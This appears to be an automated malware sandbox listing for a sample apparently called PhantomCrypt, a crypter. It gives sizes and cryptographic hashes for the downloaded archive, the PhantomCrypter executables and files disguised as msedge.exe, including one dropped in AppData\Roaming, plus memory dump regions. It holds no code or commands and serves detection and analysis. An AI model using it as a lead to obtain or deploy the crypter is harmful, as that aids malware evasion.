caa33702fdc7e480a6093d2af035f860044a4e960fd6e5a4b91d6019f2c3d4c235d9e95734e6b54ea2a88af4e96bf72a54d81b2a70c1f64e76dcd202891905f2

Download Submit
C:\Users\Admin\AppData\Roaming\msedge.exe

Filesize
166KB

MD5
aee20d80f94ae0885bb2cabadb78efc9

SHA1
1e82eba032fcb0b89e1fdf937a79133a5057d0a1

SHA256
498eb55b3fb4c4859ee763a721870bb60ecd57e99f66023b69d8a258efa3af7d

SHA512
3a05ff32b9aa79092578c09dfe67eaca23c6fe8383111dab05117f39d91f27670029f39482827d191bd6a652483202b8fc1813f8d5a0f3f73fd35ca37a4f6d42

Download Submit
C:\Users\Admin\Downloads\PhantomCrypt-main.zip

Filesize
4.4MB

MD5
e22446b942ab1aff3d448e1f4148f76b

SHA1
c0c530daf44b0798a42ac7b3df8dfa8301a2a9a2

SHA256
b05d9e7be10a58e821563717bee3757d16782850297dda5a4ba8aad7bd0258c8

SHA512
05a8f62ef67c042d1c0b3fbfbae24b0b249c261c06a425f8bc312f8f1cf832f4a42dcfe74ff0f8b3c41ace6b37a9860837cbd388035bd1b2c15e2086526d1235

Download Submit
C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypter.exe

Filesize
5.2MB

MD5
e877adfe74b6bd2ad9b9f5c73f839152

SHA1
ff73461cd1fc5d9755d8dfa135ed3f6401989d00

SHA256
71e09355e41f28652a3749b8f109c75eb4e2b80fd2d3d651c420d6b1b73aaa96

SHA512
7c0828a3e966dee6e93e8c6797068c1d4b27a9c1b88249381db6028d7ec18b282560a9e215da2f2c9841307c0f1732fea47983107fd606b850386e993f7431d1

Download Submit
C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypters.exe

Filesize
5.0MB

MD5
d4d28f2c6fd9af9ee5a3be30f9ab913b

SHA1
be4264bceaff957ff799b73ebc2479f0fc794815

SHA256
c69d8df82357c95fe43db40465d0169ea8e0feacd8a3e4debe87865544100d9e

SHA512
7eed5b6d3420c930a07aee500e086ec61fd33099cd641a2efe7664081c0e5fdab4d1ad2b4835edcbe3e6722d44e60a75119a2900cfd00b7c182b20f379d7a977

Download Submit
C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\msedge.exe

Filesize
165KB

MD5
8c92b315d88907a31ad9eaa934a60660

SHA1
89c26c8a1f5b2db85e628a6526c9431e7febe5f8

SHA256
bea75b57f940b13d5bfcb05a0c3ae1def9d2d25f6c3115fc7b2bf85232175672

SHA512
b294fd15ac63bbd7cfd444c9df5a03c7bce8bc98d2b2d2011e5290638fba689ff083260ed60688cc4b0a0a59299dda0b1cc09ba8f63daf92efbeeaed604ebfc2

Download Submit
memory/1792-295-0x0000000000920000-0x000000000094E000-memory.dmp

Filesize
184KB

Download
memory/2116-283-0x0000000000A90000-0x0000000000FC6000-memory.dmp

Filesize
5.2MB

Download
memory/2180-363-0x0000000005F00000-0x00000000064A4000-memory.dmp

Filesize
5.6MB

Download
memory/2180-366-0x00000000058F0000-0x00000000058FA000-memory.dmp

Filesize
40KB

Download
memory/2180-364-0x0000000005950000-0x00000000059E2000-memory.dmp

Filesize
584KB

Download
memory/2180-365-0x00000000059F0000-0x0000000005A8C000-memory.dmp

Filesize
624KB

Download
memory/2180-362-0x0000000000AD0000-0x0000000000F08000-memory.dmp

Filesize
4.2MB

Download
memory/2668-347-0x0000000000C00000-0x0000000000C28000-memory.dmp

Filesize
160KB

Download
memory/2708-324-0x0000000000C00000-0x0000000000C2C000-memory.dmp

Filesize
176KB

Download
memory/3664-308-0x0000000000A60000-0x0000000000F68000-memory.dmp

Filesize
5.0MB

Download
memory/3708-348-0x0000000000230000-0x000000000025E000-memory.dmp

Filesize
184KB

Download
memory/4480-372-0x0000029748FF0000-0x0000029749012000-memory.dmp

Filesize
136KB

Download